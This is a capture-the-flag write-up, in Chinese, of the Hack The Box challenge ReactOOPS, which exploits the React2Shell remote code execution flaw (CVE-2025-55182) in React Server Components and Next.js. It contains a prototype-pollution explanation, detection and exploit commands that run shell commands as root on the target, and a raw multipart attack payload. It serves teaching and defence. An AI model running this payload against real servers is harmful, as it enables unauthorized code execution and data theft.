Hack The Box 退役挑战 ReactOOPS 的 Writeup——CVE-2025-55182/CVE-2025-66478(React2Shell RCE)的完整解决方案与教学指南。包含详细的漏洞分析、利用技术与团队学习资料。
作者:TheStingR - Team ISP1337Hackers
挑战:ReactOOPS(Web)
平台:Hack The Box
难度:非常简单 - 已退役
解决日期:2025年12月13日
ReactOOPS 是一个利用 CVE-2025-55182 / CVE-2025-66478 的 Web 挑战,该漏洞是 React Server Components 和 Next.js App Router 中一个严重的未认证远程代码执行漏洞。
关键发现:
hasOwnProperty 检查该挑战展示了一个精致的 Next.js 应用程序,运行着 NexusAI 的助手界面。该应用似乎通过 React Server Components 处理用户输入,但响应式层中微小的故障暗示着底层存在漏洞。
该应用使用:
Flight 协议是 React 专有的序列化格式,用于在 Server Component 架构中在服务端和客户端之间传输数据。它使用如下引用:
$1 - 指向位置 1 处对象的引用$1:path:to:value - 属性路径遍历React 的 ReactFlightReplyServer.js 中的易受攻击代码:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
安全版本(本应如此):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
如果没有 hasOwnProperty 检查,攻击者可以遍历:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
该漏洞存在于 Next-Action 验证之前:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
通过在反序列化过程中触发 RCE,攻击者可以绕过所有 action 级别的安全检查。
# Test if service is responding
curl -v http://<IP>:PORT/
预期结果:Next.js 应用返回 HTML,且启用了 RSC
查找以下特征:
next- 前缀的响应头<script type="text/x-component"> 的 HTML.next 目录产物最可靠的判断方法是尝试一次原型污染攻击并观察响应:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
目标:在不造成破坏的情况下确认服务器存在漏洞
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
它的作用:
Next-Action: x 头的 multipart POST 请求{} 的载荷:["$1:a:a"]{}.a.a预期输出:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
结果解读:
E{"digest":✅ React 错误处理格式目标:验证任意命令执行
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"
它的作用:
Next-Action: x 的 POST 请求预期输出:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
关键洞察:输出显示 uid=0(root) - Web 服务器正以 root 身份运行!这是一个放大了影响的安全配置错误。
目标:梳理文件系统并定位敏感文件
# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
发现的目录结构:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source code
├── public/ # Static assets
├── flag.txt # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
关键发现:flag 文件位于 /app/flag.txt,权限受限(600)
目标:读取 flag 文件
# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
输出:
HTB{jus7_REDACTED_2025-55182}
✅ 挑战完成!
该利用构造了一个 Flight 协议载荷。命令载荷如下所示:
POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
1. Parse multipart form data
→ name="1" → JSON object with "then" property
→ name="0" → String "$@1"
2. Process references
→ "$@1" means "reference to chunk 1"
→ Look up chunk[1].value